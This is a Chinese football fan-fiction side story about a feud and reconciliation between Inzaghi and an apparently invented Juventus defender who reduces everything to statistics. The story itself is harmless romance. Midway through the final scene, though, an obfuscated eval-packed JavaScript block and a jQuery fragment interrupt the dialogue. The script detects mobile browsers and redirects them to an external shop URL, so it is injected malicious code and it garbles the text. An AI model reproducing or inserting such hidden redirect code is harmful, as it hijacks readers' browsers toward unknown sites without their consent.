9. 冷战[番外]
作品:《【足球】越位区》 【场景一:早餐桌上的“辩论”】
时间:1999年,尤文图斯时期某周三早晨
地点:都灵公寓厨房
因扎吉:(盯着电视回放,突然拍桌)“看看!巴蒂斯图塔这脚射门!暴力美学!这才是前锋!”
阿德勒:(头也不抬地给吐司抹黄油)“根据数据,他上赛季的射正率是58.3%,而你的无球跑动创造的实际威胁值比他高12%。暴力美学是低效的浪漫主义。”
因扎吉:“数据数据!足球是艺术!艺术你懂吗?!就像……就像阿姨唱歌剧!”(后知后觉)“等等你在夸我?”
阿德勒:“我母亲唱《图兰朵》时每个音高误差精准到个位数。那也是数字支撑的艺术。”(推过盘子)“你的吐司,黄油覆盖率75%,符合你‘多一点但别太多’的模糊要求。”
因扎吉:(抓起吐司咬一大口,含糊道)“反正巴蒂更强。”
阿德勒:“不做评价。但……需要我画散点图证明吗?”
因扎吉:“不要!吃你的饭!”
【穿插采访:多年后的回忆】
因扎吉:(扶额)“我们能为‘皮耶罗和托蒂谁任意球更强’吵到半夜。他会真的去调两人过去五年的弧线球物理学分析。我说‘你看比赛感受一下啊!’,他说‘感受是主观偏差’。气得我想用枕头闷死他。”
阿德勒:(摊手,撇嘴)“但他那次说巴乔94年世界杯的表现是‘神迹,无法用数据衡量’。我同意了——因为那的确是个统计学上的极端离群值。他以为我终于感性了一次,其实我只是尊重数学。”
【场景二:训练场的“灾难”】
时间:同一周,尤文训练课
因扎吉在练习一种新的垫射技巧,屡屡打偏。阿德勒结束防守组训练后,默默看了十分钟,然后走过去。
阿德勒:“你的问题在于支撑脚落点每次偏差3-5厘米,导致重心——”
因扎吉:(炸毛)“你别说话!我在感受!感受懂吗?!”
阿德勒:“但感受无法修正肌肉记忆。你需要建立标准化流程——”
因扎吉:“足球不是流水线!滚!”
五分钟后,阿德勒拿着战术板回来,上面画好了受力分析图和角度计算。
因扎吉直接把球踢向战术板。
【当晚客厅冷战】
两人各占沙发一端。中间隔着能再坐三个人的距离。
因扎吉:(突然)“我觉得内斯塔比你强。”
阿德勒:(翻书的手停下)“根据上赛季一对一防守成功率,我高他4.7%。”
因扎吉:“但他帅。”
阿德勒:“外貌与防守能力无相关性。”(眯眼)“我不帅吗?”
因扎吉:“停!他比你高。比你结实。看着更吓人!”
阿德勒:“恐惧心理对前锋的影响已在论文《视觉威慑在足球防守中的有限作用》中被证伪。要读吗?”
因扎吉:“那来的论文?”
阿德勒:(得意笑)“我刚写的。”
因扎吉:(抓起抱枕砸过去)“我讨厌你!!”
枕头砸在阿德勒脸上。他慢慢把枕头拿下来,拍了拍,放好。然后说:
“而且你昨晚喊的是我的名字,不是内斯塔的。”
因扎吉瞬间从耳朵红到脖子,跳起来冲进卧室,“砰”地关上门。
阿德勒对着紧闭的门补充:“我录音了。需要回放确认吗?”
门内传来更大的怒吼:“你还录音!?莱纳·冯·阿德勒!你今晚睡沙发!不!睡车库!!”
【场景三:别扭的和好】
冷战持续一周。训练时互不理睬,回家各吃各的。直到——
意甲对阵佛罗伦萨前三天,教练组布置了新战术:要求前锋在特定区域尝试一种急速触球后的小角度搓射。这需要极其细腻的脚感和空间判断。
因扎吉加练到晚上九点,失败次数垒起来能堆个圣诞树。
他瘫坐在草地上,盯着球门,脑子里全是阿德勒可能会说的“触球面积不足”、“旋转角速度不达标”……鬼使神差地,他掏出手机。
电话响了一声就被接起。
阿德勒:“我在训练场东侧球门。带着热可可,糖分我控制的很精准,鉴于你现在不是很想听数据…”
因扎吉:“……你怎么知道我需要——”
阿德勒:“你的射门失败率在下午五点后呈指数增长。最佳选择是寻求帮助。而我,碰巧研究过这个技术。”
东侧球门边,阿德勒果然站在那里,手里端着保温杯,身边还立着个小白板。
因扎吉捏着鼻子走过去,语气硬邦邦:“说吧。又要画什么图?”
阿德勒没说话,而是放下杯子,拿起一个球。
然后,在因扎吉眼前,他用一种极其流畅、近乎优雅的动作,完成了那个困扰因扎吉一整天的搓射。球划出精巧的弧线,直挂死角。
因扎吉瞪大眼睛:“你……你一个后卫怎么会这个?!”
阿德勒很坦然:“过去七天,你没理我的时候,我每天加练两小时这个动作。样本量累计420次,成功率目前91%。”
他转过身,灯光下耳朵有点红,“因为我想,这是唯一能让你主动和我说话的概率超过80%的方法。”
沉默。远处传来青年队的笑声。
因扎吉:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984235|193602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……所以你赌气冷战是假的?”
阿德勒:“不是赌气。是战略性的‘等待求助窗口期’。通常第七天,你的技术焦虑会压倒骄傲。”
因扎吉想生气,又想笑。最后他走过去,抢过热可可喝了一大口。
“教我。”他瞪着阿德勒,“但不许说‘显然’、‘根据数据’、‘概率显示’!”
阿德勒:“那调整为:‘我猜’、‘可能’、‘试试看’?”
因扎吉:“……凑合吧。”
那个晚上,阿德勒真的没用一个数据术语。
他只是站在因扎吉身后,手把手调整他的肩膀角度,低声说:“这里……感觉一下?好像这样更顺。”
他的手掌很热,呼吸落在因扎吉耳边。
因扎吉在第N次尝试成功后,突然回头:“你练了七天,就为了等我问你?”
阿德勒:(移开视线)“也为了验证该技术对后卫脚法提升的有效性。多重目标。”
因扎吉:“说实话。”
阿德勒:(沉默很久)“……想你和我说话。”
球场上安静下来。
因扎吉把球踢开,走过去拽住阿德勒的衣领,吻了他。一个带着汗味、草屑和热可可甜味的吻。
分开后,因扎吉恶狠狠地说:“下次再冷战,我就去采访夸内斯塔比你强。”
阿德勒:(抵着他额头)“我会提前准备好他过去三年的失误集锦,在你夸的时候循环播放。”
因扎吉:“……你果然不可理喻。”
阿德勒:“彼此彼此。”
【尾声】
后来队友采访:
皮耶罗:“他俩和好的标志?菲利波又开始在食堂抢莱纳盘子里的西兰花,而莱纳开始给他提前切好——说是‘优化咀嚼效率’。”
布冯:“莱纳后来真做了个‘吵架-和好周期模型’。数据显示,平均冷战时长6.4天,和好契机68%与足球技术相关。菲利波看到这个模型时,差点把电脑扔出窗外。”
因扎吉:(对着镜头翻白眼)“他最离谱的一次,是我们吵完后他给我发了封邮件,主题是《关于最近冲突的数据分析及关系优化提案》,附件里还有建议解决方案的投票链接!我回了他一个字:‘滚’。”
阿德勒:(在一旁平静插话)“但你三天后采用了提案C:共同制作柠檬挞以促进协作。且成品糖酸比是史上最接近1.3:1的一次。”
因扎吉:(捂脸)“……看,就是这样。这人没救了。”
阿德勒:(眯眼笑)“但你没退货。”
因扎吉:(从指缝里看他,小声)“……退货麻烦。凑合用吧。”
(番外四完)

